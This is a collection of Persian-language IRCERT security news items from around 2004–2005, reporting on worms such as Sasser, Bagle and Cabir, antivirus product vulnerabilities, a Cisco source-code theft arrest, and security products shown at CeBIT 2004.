شرکت Apple امروز یک به روز رسانی امنیتی را برای سیستم عامل Mac OS X خود منتشر کرد. این اصلاحیه 17 حفره امنیتی در این سیستم عامل و اجزای مختلف آن را پوشش می دهد.

راهنمایی و اصلاحیه ارائه شده 5 حفره امنیتی موجود در وب سرور Apache که همراه با سیستم عامل ارائه می شود و دو حفره امنیتی در سرور ایمیل مورد استفاده این سیستم عامل را می پوشاند. همچنین دو مشکل امنیتی موجود در مرورگر این شرکت ، یعنی Safari ، و یک حفره امنیتی در QuickTime نیز با نصب این اصلاحیه برطرف می شود.

این اصلاحیه ها یک ماه پس از آخرین به روز رسانی ارائه شده برای این سیستم عامل عرضه می شوند. اطلاعات مربوط به اصلاحیه و راهنمایی امنیتی را می توان در سایت امنیتی Apple یافت.

Apple خطرات ایجاد شده توسط این حفره ها را طبقه بندی نکرده است.


﻿ IRCERT - به جنگ حملات داس می رود - اخبارها و هشدارها AT&T

AT&T به جنگ حملات DoS می رود

12 خرداد – 1 ژوئن

امروز شرکت AT&T ابزاری را برای مشتریان خود ارئه کرد که می توانند با کمک آن با حملات DoS مقابله کنند. این ابزار نرم افزاری در کنار سیستم تشخیص نفوذ این شرکت یعنی AT&T Internet Protect قرار می گیرد و مشتریان این شرکت را در مقابل حملات DoS و DdoS محافظت می کند. AT&T Internet Protect که در ماه مارس ارائه شده است ترافیک شبکه را کنترل می کند و درصورت مشاهده هرگونه تهدید بالقوه ،‌ کاربران و مشتریان این شبکه را در جریان می گذارد.

سیستم دفاعی جدید که مبتنی بر فناوری های شرکت های سیسکو و لکسینگتون است ، نمونه های مختلفی را از جریان داده ای درحال عبور بر می دارد و آن را با رفتار معمول شبکه ، الگوها و پروتکل های مورد قبول مقایسه می کند. به محض تشخیص حمله ، ترافیک مشکوک منحرف می شود تا جریان حمله از تراکنش های قانونی جدا شود.

معمولا در یک حمله DoS یا DDoS شبکه ها توسط میلیون ها بسته داده مورد حمله قرار می گیرند به طوری که سرورها و روترها با ترافیکی بیش از ظرفیت خود روبرو می شوند و کارایی آنها کاهش می یابد و گاه باعث از کار افتادن آنها می شود. در مطالعه ای که در سال 2003 توسط موسسه امنیت کامپیوتر و FBI انجام شده است ، مشخص شده که حملات DoS دومین جرم کامپیوتری از نظر میزان خسارات وارده است. بنابر این گزارش به طور متوسط هر شرکت و مجموعه بزرگ تجاری از یک حمله DoS 1.4 مبلبون دلار خیارت دیده است.


﻿ IRCERT - هکرها به شبکه سوپرکامپیوترها نفوذ کردند - اخبارها و هشدارها

هکرها به شبکه سوپرکامپیوترها نفوذ کردند

13 آوریل – 25 فروردین

گروهی از هکرهای ناشناس به تعدادی سرور لینوکس و سولاریس در شبکه های پرسرعت دانشگاه استنفورد و بعضی مراکز تحقیقاتی- دانشگاهی دیگر حمله کردند. بنابه گزارش رسیده از این دانشگاه , در حال حاضر تحقیقات درباره چگونگی این حملات در حال انجام است.

گروه خدمات و سیستمهای فناوری اطلاعات در این دانشگاه طی یک راهنمایی امنیتی اعلام کرده اند که به نظر می رسد هکر مزبور به عمد ماشینهای محیطهای دانشگاهی و مراکز تحقیقاتی که دارای شبکه های پرسرعت هستند را مورد هجوم قرار داده است. اعضای تیم امنیت این دانشگاه حاضر به اظهار نظر در این مورد نشدند و تا زمان انتشار خبر , مدیر ارشد امنیت اطلاعات دانشگاه نیز در دسترس نبوده است.

مهاجمان ناشناس از ابزارهای معمول شکستن کلمات عبور برای دسترسی به یک اکانت در روی سرور استفاده کرده اند و سپس با استفاده از مشکلات امنیتی موجود در نرم افزارها سطح دسترسی خود را افزایش داده اند.

در راهنمایی اشاره شده است :" نفوذگران معمولا با استفاده از شنود کلمات عبور , سرقت آنها از سیستم های قربانی , یا حمله به نقاط ضعف خدماتی که از راه دور در دسترس هستند, به اکانت یک کاربر معمولی محلی دسترسی پیدا می کنند. "

طی ماههای اخیر این نقاط ضعف امنیتی محلی منجر به بروز مشکلات مختلفی برای سرورهای میزبان لینوکس شده است.


﻿ IRCERT - اخبار و هشدارها- Sasser اخطار نویسنده در آخرین نسخه

اخطار نویسنده در آخرین نسخه Sasser

10 مه – 21 اردیبهشت

شرکتهای ضدویروس نسخه پنجم کرم Sasser را در زمانی که پلیس درگیر دستگیری جوان 18 ساله آلمانی بود کشف کردند. بنا به گفته مایکروسافت Sasser.E یک هفته پیش منتشر شده است. این نسخه تلاش می کند تا به کاربران هشدار دهد تا حفره امنیتی مورد استفاده این کرم را با کمک اصلاحیه امنیتی ارائه شده برطرف کنند. یکی از مدیران بخش پاسخگویی امنیتی شرکت Symantec در این باره می گوید: " به نظر می رسد هر کسی این نسخه را منتشر کرده است ، سعی داشته تا به کاربران درباره قابل نفوذ بودن کامپیوترشان هشدار دهد."

متخصصان مطوئن نیستند که این نسخه قبل یا بعد از دستگیری نویسنده Sasser منتشر شده است، اما مایکروسافت مدعی است که Sasser.E 4 روز پیش از دستگیری سون جاشان انتشار یافته است.

متخصصان انتظار ندارند که این نسخه به سرعت نسخ پیشین منتشر شود. Sasser.E در حال حاضر دارای درجه خطر پایین است و Symantec به آن 2 از 5 داده است. این نسخه سعی دارد تا نسخه های کرم رقیب یعنی Bagle را از کار بیاندازد و لذا کلیدهای رجیستری این کرمها را حذف می کند. همچنین این نسخه جدید دارای اخطارهای ذیل برای قربانیان خود است:

1. Your computer is affected by the MS04-011 vulnerability

2. It can be that dangerous computer viruses similar the Blaster worm infect your computer

3. Please update your computer with the MS04-011 LSASS patch from the www.microsoft.com website

4. This is an message from the SkyNet Team for malicious activity prevention


﻿ IRCERT - ارتش ایجاد می کند - اخبارها و هشدارها Bagle

Bagle ارتش ایجاد می کند

28 ژوئن 2005 – 7 تیر 1384

نسخه جدید ویروس Bagle سعی دارد تا کنترل کامپیوترها را کاملا به دست بگیرد و از آنها برای ایجاد شبکه ای از حملات سایبر استفاده کند.

یکی از محققان شرکت F-Secure هشدار داده است که این نسخه اوایل این هفته منتشر شده و برای ده ها هزار کاربر اینترنت ارسال شده است. این شرکت تولیدکننده ضدویروس، نسخه جدید را Mitglieder.CN نامیده است اما سایر شرکتهای امنیتی اسامی دیگری مانند Bagle.BQ یا Tooso.J را نیز برای این ویروس به کار برده اند.

این نسخه از Bagle نیز همانند نسخ پیشین این ویروس خصوصیت خودانتشاری ندارد بلکه در قالب یک ایمیل با یک فایل الحاقی می رسد. هنگامی که فایل اجرا شود، برنامه مخرب سعی می کند تا فایروالها و ضدویرسها را غیرفعال کند. سپس تلاش می کند تا یک اسب تروا را دریافت و نصب کند تا کنترل کامپیوتر آلوده را در دست بگیرد و از آن در حملات شبکه ای و انتقال اسپم استفاده کند.

از بدو تولد Bagle تا به حال حداقل 70 نسخه منتشر شده است که بعضی پیچیده تر از سایرین بوده اند. شرکتهای ضدویروس خطر این نسخه را پایین ارزیابی کرده اند.


﻿ IRCERT - همچنان قربانی می گیرد - اخبارها و هشدارها Bagle

Bagle همچنان قربانی می گیرد

19 جولای 2004 – 29 تیر 1383

با آغاز انتشار نسخه جدید ویروس Bagle که از امروز بین کامپیوترهای متصل به اینترنت گسترش یافته است، متخصصان ضدویروس اعلام کرده اند که کاربران باید منتظر نسخ جدیدی از این ویروس نیز باشند.

آخرین نسخه این ویروس که شرکتهای ضدویروس آن را Bagle.AI و سایرین آن را Beagle.AG نام گذاری کردند، از طریق یک فایل الحاقی به ایمیل گسترش می یابد و با باز شدن فایل توسط کاربر، کامپیوتر وی را آلوده می کند. این نسخه بسیار شبیه نسخه های قبلی است اما از روش فشرده سازی متفاوتی برای پنهان سازی خود استفاده کرده است.

الیور فریدریک - مدیر ارشد تیم پاسخگویی امنیتی Symantec – می گوید:“ با بررسی کد آخرین نسخه ویروس به نظر می رسد ، فردی سورس کد اصلی را گرفته و با تغییرات اندکی آن را دوباره منتشر کرده است. “ Symantec درجه خطر این ویروس را 3 از 5 اعلام کرده است و McAfee آن را یک خطر با درجه medium دانسته است.

این چهارمین نسخه از Bagle است که طی هفته گذشته شناسایی شده است. اوایل این ماه نویسنده ویروس نسخه ای از آن را منتشر کرد که حاوی سورس کد ویروس بود. این عمل با این باور انجام شد که سایرین بتوانند با استفاده از این سورس کد نسخ متعددی از این ویروس را ایجاد و منتشر کنند.

فریدریک در این باره می گوید :“ زمانی که سورس کد در دسترس باشد، این امکان برای هر فردی پدید می آید تا با انجام تغییراتی در آن ، نسخه جدیدی را منتشر کند.“ تعداد نسخ ویروس دیگری با نام Agobot که همراه با سورس منتشر شده بود ، ‌به 900 نسخه رسیده است.

Bagle.AI فیلد from را در ایمیل به گونه ای تغییر می دهد که فرستنده ایمیل مشخص نشود. همچنین این ویروس خود را به دایرکتوریهایی که در نام خود کلمه shar را دارند کپی می کند تا بتواند کاربران شبکه های p2p و منابع مشترک شبکه ها را مورد هدف قرار دهد.

کامپیوترهایی که قربانی این ویروس می شوند ، به راحتی توسط اسپمرها مورد حمله قرار می گیرند.


﻿ IRCERT - گسترش ویروس با عکسهای مستهجن - اخبارها و هشدارها

گسترش ویروس با عکسهای مستهجن

11 ژانویه 2005 - 22 دی 1383

شرکت ضدویروس Sophos کرم جدیدی را امروز شناسایی کرده است که در یک الحاقیه ایمیل پنهان شده است. این الحاقیه دارای یک عکس مستهجن نیز هست.

این ویروس که Sophos نا آن را W32/Wurmark-D گذارده، از طریق ایمیل و به شکل پیام تبریک سال نو همراه با تصویری از بدنهای برهنه منتشر می شود. فایل الحاقی مربوطه amusing file یا فایل سرگرم کننده نام دارد.

Sophos می گوید هنگامی که کاربر در حال تماشای تصویر مزبور است، این کرم به صورت پنهانی خود را نصب می کند و نرم افزارهای امنیتی را از کار می اندازد. پس از آن Wurmark-D خود را به تمامی نشانی های ایمیل ذخیره شده روی کامپیوتر قربانی ارسال می کند.

بنا بر گزارشهای رسیده این کرم تا به حال آلودگی زیادی ایجاد نکرده است.

این اولین بار نیست که ویروس نویسان از عکسهای مستهجن جهت توزیع و گسترش ویروس استفاده کرده اند. Sober نیز برای گسترش خود از این حیله استفاده کرده بود.


﻿ IRCERT - اسب تروای بن لادن متوقف شد - اخبارها و هشدارها

اسب تروای بن لادن متوقف شد

3 ژوئن 2005 - 13 خرداد 1384

متخصصان امنیتی هشدار دادند که یک ایمیل اسپم که مدعی است عکسهای اسامه بن لادن را در حال دستگیری با خود دارد، اما حاوی یک فایل الحاقی خطرناک است، نتوانسته موفق شود.

به گفته سخنگویان شرکتهای McAfee و F-Secure میلیون ها کپی از نسخ این ایمیل روز گذشته به صورت گسترده ای پخش شد. تمامی این نسخ اعلام می کردند که رئیس القاعده دستگیر شده و حاوی یک فایل الحاقی با نام pics بودند. اما زمانی که کاربر این فایل را باز می کرد، یک کرم اینترنتی روی سیستم قربانی قرار می گرفت. اگر کرم به صورت کامل می توانست روی سیستم قرار گیرد، سعی می کرد تا از طریق ایمیل خود را منتشر کند. همچنین سیستم قربانی را به گونه ای تنظیم می کرد که بتوان از آن به عنوان رله کننده اسپم استفاده نمود.

به گفته F-Secure در یکی از بخشهای این اسپم چنین آمده است:

"Turn on your TV. Osama Bin Laden has been captured. While CNN has no pictures at this point of time, the military channel (PPV) released some pictures. I managed to capture a couple of these pictures off my TV. Ive attached a slideshow containing all the pictures I managed to capture."

با وجودی که این ایمیل در قالب اسپم به شکل گسترده ای پخش شده است، اما شرکتهای ضدویروس گزارشهای چندانی از آلودگی سیستمها دریافت نکرده اند که این امر نشان از آن دارد که کاربران این اسپم را شناسایی یا بلوکه کرده اند.

این اولین بار نیست که نام بن لادن برای فریب کاربران جهت بازکردن فایلهای الحاقی به کار گرفته شده است. سال گذشته پیغامی که مدعی بود عکسهای خودکشی اسامه را با خود دارد، در گروههای اینترنتی منتشر شد. اما کاربرانی که فریب این پیغام را خوردند به دام یک اسب تروا افتادند.


﻿ IRCERT - اخبار و هشدارها- Bizexکرم

کرم Bizex به ICQ حمله کرد

25 فوریه – 6 اسفند

یک کرم اینترنتی که با نام Bizex منتشر شده است ، کاربران نرم افزار ICQ را به دیدن یک سایت دعوت می کند . بازدید از آن سایت باعث می شود تا کد خطرناکی بر روی کامپیوتر قربتنی نصب شود.

شرکت Kaspersky در روز 18 فوریه این ویروس را همه گیر معرفی کرد و تخمین زد که 50 هزار کامپیوتر در سراسر جهان به آن آلوده شده اند، اما شرکت امنیتی Symantec با رد این نظر درجهخطر این ویروس را پایین معرفی کرد.

بنابر راهنمایی امنیتی ارائه شده از طرف Kaspersky ، این کرم اینترنتی پیغامی را بر روی ICQ برای کاربران می فرستد و از آنها می خواهد که از سایت jokeworld بازدید به عمل آورند. به محض بالا آمدن سایت ، Bizex شروع به آلوده کردن کامپیوتر قربانی می کند. سپس خود را با کمک لیست کاربران ICQ قربانی تکثیر می کند و همچنین به دنبال اطلاعات سیستمهای پرداخت نصب شده بر روی کامپیوتر آلوده شده مانند American Express UK می گردد. گفته می شود با توجه به تلاش برای یافتن اطلاعات سیستمهای پرداخت، هدف این ویروس سرقت بوده است. Kaspersky اشاره کرده است که تنها 4 ساعت پس از انتشار این کرم، سایت مذکور بسته شده است.

کاربران می توانند با کلیک نکردن بر روی لینکهای ناشناس از آلوده شدن به چنین ویروسهایی اجتناب کنند.


﻿ IRCERT - رقیبی برای ساسر - اخبارها و هشدارها Bobax

Bobax رقیبی برای Sasser

19 مه – 30 اردیبهشت

یک کرم اینترنتی جدید که کامپیوترهای آلوده را مبدل به محل ارسال اسپم و انجام سایر حملات میکند ، فعالیت خود را آغاز کرده است.

Bobax که در روز 27 اردیبهشت کشف شده است از همان حفره ای که Sasser استفاده می کرد بهره می برد. بنابه گفته متخصصین شرکت McAfee درجه خطر این ویروس 3 یا 4 از 10 است. Bobax هم باعث می شود کامپیوتر قربانی reboot شود اما این کار با سرعت Sasser انجام نمی شود.

Bobax از حفره موجود در Local Security Authority Subsystem Service استفاده می کند که در تمامی ویندوزها موجود است اما این کرم تنها ویندوز XP را هدف قرار می دهد. هنگامی که این کرم روی یک سیستم قرار گرفت با سایتی ارتباط برقرار می کند و دستورات بعدی مبنی بر ارسال اسپم یا انجام دیگر اعمال را دریافت می کند.

کارشناسان معتقدند که میزان آلوده سازی این کرم نسبت به Sasser بسیار کمتر خواهد بود. چون بسیاری از کامپیوترها با حمله Sasser اصلاحیه امنیتی را دریافت و نصب کرده اند و فایروالها و نرم افزارهای ضدویروس نیز برای مقابله با آن به روزرسانی شده اند و آمادگی دارند. انتخاب ویندوز XP به عنوان تنها هدف از دیگر دلایل کاهش میزان آلوده سازی این کرم است.

برآورد شده است که تعداد کامپیوترهای آلوده شده توسط این کرم یک دهم قربانیان Sasser خواهد بود.


﻿ IRCERT - این ویروس از طریق تبلیغات نقب می زند - اخبارها و هشدارها

این ویروس از طریق تبلیغات نقب می زند

22 نوامبر 2004 - 2 آذر 1383

متخصصان امنیتی هشدار داده اند که ممکن است هکرها در حال انجام حمله ای گسترده در اروپا باشند که با استفاده از تبلیغات اینترنتی، کاربران را به سایتهایی هدایت کنند که کدهای خطرناک را روی سیستم آنها قرار می دهد.

پس از دریافت چندین گزارش مبنی بر این که کامپیوترهای کاربران با استفاده از تبلیغات اینترنتی آلوده شده است، متخصصان هشدار دادند که ممکن است هکرها به تعداد زیادی سرور که میزبانی آگهی ها را به عهده دارد حمله کرده باشند. با قرار دادن لینکی به کد خطرناک مورد نظر در یک تبلیغ که برای صدها سایت فرستاده می شود، هکرها تعداد قربانیان خود را چند برابر می کنند.

آگهی های تبلیغاتی ابزار مناسبی برای گسترش زیاد کدهای خطرناک است چون می توانند در یک زمان کد را بر روی چندین سایت توزیع کنند.

کامپیوتر کاربرانی که بر روی این لینک کلیک کنند به ویروس Bofra آلوده می شود. این ویروس پیش از این به عنوان یکی از نسخ MyDoom شناخته شده بود. هکرها تا به حال به سرورهای اروپایی گوناگونی با استفاده از حفره پوشانده نشده مزبور نفوذ کرده اند.

کرم Bofra از چند تکنیک حمله با هم برای حمله به قربانیان بهره می گیرد: اسپم، مهندسی اجتماعی، آلودگی ویروسی و اسب تروا.

کاربرانی که SP2 را نصب کرده اند از شر این ویروس در امان هستند. اما متخصصان توصیه می کنند در زمان بازدید از سایتهایی که اطمینان کامل به آنها ندارید از مرورگر دیگری غیر از IE‌استفاده کنید.


﻿ IRCERT - براد پیت هم به مایکروسافت حمله می کند - اخبارها و هشدارها

براد پیت هم به مایکروسافت حمله می کند

۳۱ مارس ۲۰۰۵ – ۱۱ فرودین ۱۳۸۴

براد پیت ( Brad Pitt) ، آنجلینا جولی ( Angelina Jolie ) و بریتنی اسپیرز ( Britney Spears ) موضوعات ویروسی هستند که سعی دارند کامپیوترها را جهت یک حمله عدم پذیرش سرویس یا DoS آماده کنند.

هکرها کرمی را با نام Ahker-F منتشر کرده اند که به کاربران می گوید می توانند یک کلیپ از بازیگران فوق را در فایل الحاقی به ایمیل آلوده پیدا کنند. فایل الحاقی یک فایل با فرمت zip است که حاوی کرم است. اگر فایل مزبور باز شود، کرم خود را به نشانی های ایمیل قربانی ارسال می کند، تنظیمات امنیتی کامپیوتر را غیرفعال می کند و یک حمله عدم پذیرش سرویس علیه سایت مایکروسافت انجام می دهد.

هکرها در نوشتن این کرم سعی کرده اند تا از حس کنجکاوی کاربران درباره هنرپیشه ها سوء استفاده کنند. هنوز گزارشات چندانی درباره حمله این کرم ارائه نشده است.


﻿ IRCERT - پلیس مظنون به سرقت کد سیسکو را دستگیر کرد - اخبارها و هشدارها

پلیس مظنون به سرقت کد سیسکو را دستگیر کرد

17 سپتامبر 2004 - 27 شهریور 1383

منابع خبری بریتانیا اعلام کردند،‌پلیس شخصی را که مظنون به سرقت کد از شرکت سیسکو در ماه مه است ، دستگیر کرده است.

این مرد 20 ساله که نام وی بیان نشده است، روز سوم سپتامبر پس از جستجوی دو محل اقامت وی در شهرهای داربی شایر و منچستر دستگیر شده است. وی که تا به حال سوء ‌پیشینه ای نداشته است، با قید ضمانت آزاد شده و قرار است اوایل ماه نوامبر در پلیس لندن مورد بازپرسی قرار گیرد. تجهیزات کامپیوتری وی ضبط شده و در حال بررسی هستند.

سیسکو اعلام کرده است که به همکاری خود با نیروی پلیس در این باره ادامه می دهد. این شرکت با ابراز خوشحالی از دستگیری این مظنون، آن را گامی برای حفاظت از مالکیت معنوی خوانده است.

این سرقت زمانی در ماه مه آشکار شد که یک سایت روسی،‌800 مگابایت از سورس کد سیستم عامل بین شبکه ای ( IOS )‌سیسکو را دریافت کرد. این سیستم عامل که در تمامی محصولات سیسکو به کار می رود، از مهمترین کارهای این شرکت به شمار می رود.


﻿ IRCERT - نگرانی‌های جدید در مورد امنیت مرورگرها - اخبارها و هشدارها

نگرانی‌های جدید در مورد امنیت مرورگرها

12 آوریل – 24 فروردین

بر اساس نتایج دومین گزارش تحلیلی سالانه CompTIA با عنوان «تحلیل امنیت فناوری اطلاعات و نیروی کار» طی شش ماهه گذشته ۳۶.۸٪ از شرکت‌هایی که در مطالعه شرکت داشته‌اند حداقل یک بار از طریق مرورگر‌ها مورد حمله قرار گرفته‌اند.

شرکت‌های بزرگ تلاش زیادی برای مقابله با ویروس ها انجام می‌دهند، ولی در طرف مقابل هم هکرهای خلاقی حاضر هستند که ویروس‌های جدیدتر و خطرناک‌تری را تولید می‌کنند. ده سال قبل بیشتر ویروس‌ها از طریق دیسک‌های فلاپی منتقل می‌شدند. پس از آن انتقال ویروس از طریق پیام‌های e-mail و نرم‌افزارهای instant-messager انجام می‌شد و هم‌اکنون هدف هکرها نرم‌افزارهای مرورگر می‌باشد.

حملات از طریق مرورگر زمانی انجام می‌شوند که کاربر صفحات وبی که ظاهرا بدون خطر بوده ولی در متن آنها کدهایی مخفی وجود دارد را مشاهده می‌نماید. هکرها کدهای مخفی را با هدف خرابکاری در کامپیوتر مقصد و یا جاسوسی در اطلاعات ذخیره شده در آن تولید می‌کنند.

رایج‌ترین روش انجام این نوع حملات ارسال نامه‌های الکترونیکی است که لینکی به یک وب سرور خطرناک در آن است. شرکت‌های فعال در این زمینه مشغول تولید ابزارهایی برای مقابله با این نوع حملات هستند ولی تحلیل‌گران شرکت CompTIA معتقدند که راه بسیار طولانی برای حذف این نوع حملات باید طی شود و در کوتاه مدت نمی‌توان به فائق آمدن کامل بر این مشکل امیدوار بود.


﻿ IRCERT - اخبار و هشدارها - Symantec مشکل امنیتی در ضدویروس

مشکل امنیتی در ضدویروس Symantec

5 اکتبر 2005 – 13 مهر 1384

یک مشکل امنیتی جدی در محصولات ضدویروس Symantec باعث شده است که سیستم شرکتهای دارای این نرم افزار قابل نفوذ شود.

Symantec دیروز طی یک راهنمایی امنیتی اعلام کرد که یک مشکل سرریز بافر در Symantec AntiVirus Scan Engine می تواند به هکرها اجازه دهد تا از راه دور بر روی ماشینهای قابل نفوذ کد اجرا کنند. این مشکل در نسخ متعدد موتور این نرم افزار وجود دارد . Symantec به این مشکل درجه اهمیت بالا داده است و اصلاحیه های امنیتی مرتبط را ارائه کرده است.

این شرکت طی یک هشدار امنیتی به مشتریان خود توصیه کرده است که هرچه سریعتر آخرین اصلاحیه ها را نصب کنند تا در برابر تهدیدات مصون باشند. Symantec تا به حال گزارشی از سوء استفاده از این حفره دریافت نکرده است.

مشکل امنیتی مزبور در واسط مدیریتی تحت وب این نرم افزار قرار دارد. این واسط بخشی ایت که در محصولات مختلف سری ضدویروس این شرکت به کار گرفته شده است. یک هکر می تواند با ارسال یک درخواست مخرب به واسط، به آن نفوذ کند.

Symantec به کاربران توصیه کرده است که محصول مورد استفاده خود را کنترل کنند. واسط مدیریتی این محصولات باید تنها در بخشی امن از شبکه قابل دسترس باشد و خارج از شبکه شرکت نباید قابل مشاهده باشد.

اوایل این هفته یک مشکل امنیتی جدی در محصولات ضدویروس کاسپرسکی گزارش شده بود.


﻿ IRCERT - مجرمی برای تمام سال - اخبارها و هشدارها

مجرمی برای تمام سال

28 جولای 2004 – 7 مرداد 1383

بنابه گزارش منتشر شده از سوی شرکت امنیتی Sophos سون جاشان - نویسنده ویروسهای ساسر و Netsky – مسئول 70 درصد از آلودگی های ویروسی در سال 2004 است.

جاشان 18 ساله که در ماه می توسط پلیس در آلمان دستگیر شد به نوشتن ویروسهای Netsky و ساسر اعتراف کرده است. جاشان طی 5 ماه پیش از دستگیری خود توانسته بود 25 نسخه مختلف از Netsky و کرم مشهور ساسر را وارد شبکه ها کند.

گراهام کلولی - مشاور ارشد فناوری شرکت Sophos – می گوید که این گیج کننده و باورنکردنی است که یک نفر مسئول این همه مشکل باشد. البته وی معتقد است که ممکن است افراد دیگری نیز در تولید و انتشار نسخ مختلف Netsky دخیل بوده باشند اما تا به حال شخص دیگری دستگیر نشده است.

بنا به گفته Sophos ، کرم ساسر با 26.1 درصد آلودگی در صدر ویروسهای سال جاری قرار گرفته است. Netsky.p ، Netsky.b و Netsky.d به ترتیب در رتبه های دوم تا چهارم لیست قرار دارند. تنها ویروسهایی که در بین دو ویروس اول قرار دارند و توسط جاشان نوشته نشده اند عبارتند از : MyDoom.a ( مقام پنجم ) ،‌ Zafi.b ( مقام ششم ) ، Sober.c ( مقام نهم ) و Bagle.a ( مقام دهم ).


﻿ IRCERT - اخبار و هشدارها - CA اصلاح مشکل امنیتی ضدویروسهای

اصلاح مشکل امنیتی ضدویروسهای CA

23 مه 2005 - 2 خرداد 1384

Computer Associates امروز هشدار داد که یک مشکل امنیتی جدی و بسیار مهم در چندین محصول ضدویروس این شرکت، ‌کاربران را در معرض خطرحملات اینترنتی قرار داده است.

به گفته این شرکت این مشکل امنیتی در موتور اسکنر مورد استفاده در محصولات enterprise و کاربران انتهایی وجود داشت. یک هکر می توانست با ارسال یک فایل دستکاری شده مایکروسافت آفیس، کنترل کامل کامپیوتر قربانی را به دست بگیرد.

CA درجه خطر این حفره امنیتی را بالا توصیف کرده است چون هکر می تواند بدون دخالت کاربر، دسترسی کاملی به سیستم وی داشته باشد.

به گفته یکی از مدیران ارشد CA، این مشکل امنیتی به صورت رسمی امروز مطرح شده است، اما اصلاحیه مربوط به آن از سوم ماه مه در دسترس بوده است. این اصلاحیه به ضدویروسهای شرکتها اختصاص داشته اما محصولات کاربران شخصی نیز امروز به صورت خودکار به روز می شوند. CA حدود 3 تا 4 میلیون کاربر شخصی و حدود 1 میلیون مشتری سازمانی دارد.


﻿ IRCERT - تهدیدی جدی علیه تلفنهای همراه - اخبارها و هشدارها Cabir

Cabir ، تهدیدی جدی علیه تلفنهای همراه

28 دسامبر 2004 – 8 دی 1383

یک شرکت امنیتی با ارائه گزارشی از نسخ جدید ویروس Cabir ، این ویروس را تهدیدی جدی برای تلفنهای همراه معرفی کرد.

نسخ قبلی Cabir که روی تلفنهای دارای سیستم عامل Symbian و تکنولوژی بی سیم Bluetooth گسترش می یابند، تابستان امسال توانستند به عنوان اولین ویروسهایی که روی تلفنهای هوشمند امکان پخش شدن دارند، جلب توجه کنند. اما مدت کوتاهی بعد مشخص شد که این ویروسها بی ضرر هستند و تنها برای اثبات امکان استفاده از چنین روشی برای انتشار به کار می روند.

اما با انتشار نسخ Cabir.H ، Cabir.I و Cabir.J شرکت امنیتی F-Secure هشدار داد که نسخ جدید همانند اجداد خود بی خطر نیستند. F-Secure طی هشداری امروز اعلام کرد که در نسخ جدید Cabir مشکلی که باعث کندی انتشار نسخ اولیه می شد برطرف شده است:“ Cabir در هر بازآغازی ( reboot ) تنها می توانست یک تلفن جدید را آلوده کند در حالی که Cabir.H و Cabir.I می توانند در هر بازآغازی تعداد نامحدودی تلفن را آلوده کنند.“

با تولد این نسخ مشخص شده است که سورس کد ویروس Cabir در شبکه زیر زمینی هکرها پخش شده است که این نشانه و خبر خوبی به شمار نمی آید.

F-Secure اعلام کرده است که این ویروسها به شکل فعالی دیده نشده اند و کاربران Symbian می توانند با غیرفعال کردن مشخصه discoverable در تلفنهایشان از خود محافظت کنند. گفته می شود که تنها تلفنهایی که از واسط کاربر نوکیا سری 60 استفاده می کنند ، در معرض این خطر قرار دارند.


﻿ IRCERT - اخبار و هشدارها - Cabirانتشار کد ویروس

انتشار کد ویروس Cabir

30 دسامبر 2004 – 10 دی 1383

یک شرکت امنیتی هشدار داد که سورس کد بسیاری از نسخ ویروس cabir که به تلفنهای همراه حمله می کند، بر روی اینترنت قرار گرفته است.

شرکت Sophos دیروز هشدار داد که برنامه نویس 32 ساله برزیلی سورس کد مربوط به Cabir-H و Cabir-I را بر روی اینترنت منتشر کرده است و ویروس نویسان می توانند از این کدها استفاده کنند و نسخ جدیدی از این ویروس را تولید و منتشر کنند.

پیش از این گزارشهایی درباره انتشار نسخ جدید Cabir ارائه شده بود که نشان می داد این نسخ همانند اجداد خود بی خطر نیستند. این کرم تلفنهایی را تحت تاثیر قرار می دهد که سیستم عامل Symbian‌ را اجرا می کنند و از تکنولوژی بی سیم Bluetooth استفاده می کنند.

گراهام کلولی - مشاور ارشد Sophos – معتقد است که انتشار کد ویروس بر روی وب بسیار خطرناک است چون سایرین را به تولید نمونه های مشابه تشویق می کند. وی به کاربران تلفنهای همراه هشدار می دهد که مراقب برنامه هایی که روی تلفن خود نصب و اجرا می کنند باشند.

برنامه نویس برزیلی مدهی است که ویروسها را از ابتدا نوشته است و علت آن نیز تماسهای مکرر کاربرانی بوده است که از وی کد اصلی این کرم را می خواسته اند.

کاربران تلفنهای Symbian می توانند با غیرفعال کردن مد discoverable در تلفن خود از این حملات در امان بمانند.


﻿ IRCERT - اخبار و هشدارها- CEBIT 2004

گزارش اختصاصی گروه امداد امنیت کامپیوتری ایران از CEBIT 2004

امنیت فناوری اطلاعات در Cebit

نمایشگاه Cebit2004 امسال نیز مانند سالهای گذشته در روزهای 18 تا 24 مارس (28 اسفند تا 5 فروردین ) در هانور آلمان برگزار شد. عمده ترین موضوعات مطروحه در نمایشگاه امسال عبارت بودند از:

  1. Mobility

  2. Business Process

  3. Security

  4. Storage

از لحاظ اهمیت مطالب این چهار موضوع دارای بیشترین رشد نسبت به سالهای گذشته بوده اند. اما گروه امداد امنیت کامپیوتری ایران (IRCERT ) به تناسب ماموریت خود، نمایشگاه امسال را تنها از جهت محصولات امنیتی مورد بررسی قرار داده است.

در نمایشگاه امسال یک سالن کامل به امنیت اختصاص داده شده بود که شرکتهایی از سراسر دنیا به عرضه محصولات مختلف امنیتی خود در این سالن پرداخته بودند. البته بخش بسیار مهمی از محصولات امنیتی شرکتهای بزرگ نرم افزاری و سخت افزاری (مانند Cisco ، Checkpoint...) در سالنهای Telecom و یا نرم افزار ارائه شده بود که این مساله نشان دهنده اهمیت عمده بحث امنیت در میان سایر مباحث و موضوعات است.

به صورت عمده میتوان محصولات امنیتی ارائه شده در نمایشگاه را در دسته بندی زیر گنجاندکه در واقع به نوعی نشان دهنده میزان اولویت هر یک از این محصولات نیز می باشد:

  1. Enterprise Security Solutions

  2. Host Security Solutions

  3. Server Security Solutions

  4. Network Security Solutions

  5. Security Hardware

در سالهای گذشته, عمده تمرکز شرکتهای متخصص امنیت شبکه بر روی تولید محصولاتی همچون فایروالها ، سیستمهای تشخیص نفوذ و در یک کلام حفاظهای شبکه ای بود. همین امر باعث شده تا به محض مطرح شدن بحث امنیت شبکه , ذهنها سریعا به سمت فایروال و یا سیستمهای مشابه می رود. اما در طی تمام این مدت آمار چیز دیگری را نشان میدهد. تمامی آمارهای موجود بر این نکته تاکید میکنند که بیش از 80% کل حملات اطلاعاتی , حملات درون سازمانی هستند. این نتیجه برای کارشناسان امنیت شبکه کمی ناامید کننده است. مهمترین ابزار آنها یعنی حفاظ شبکه اساسا برای چنین منظوری طراحی نشده است. شما با بهترین فایروال دنیا در بهترین حالت تنها یک امنیت بیست درصدی را تامین کرده اید.

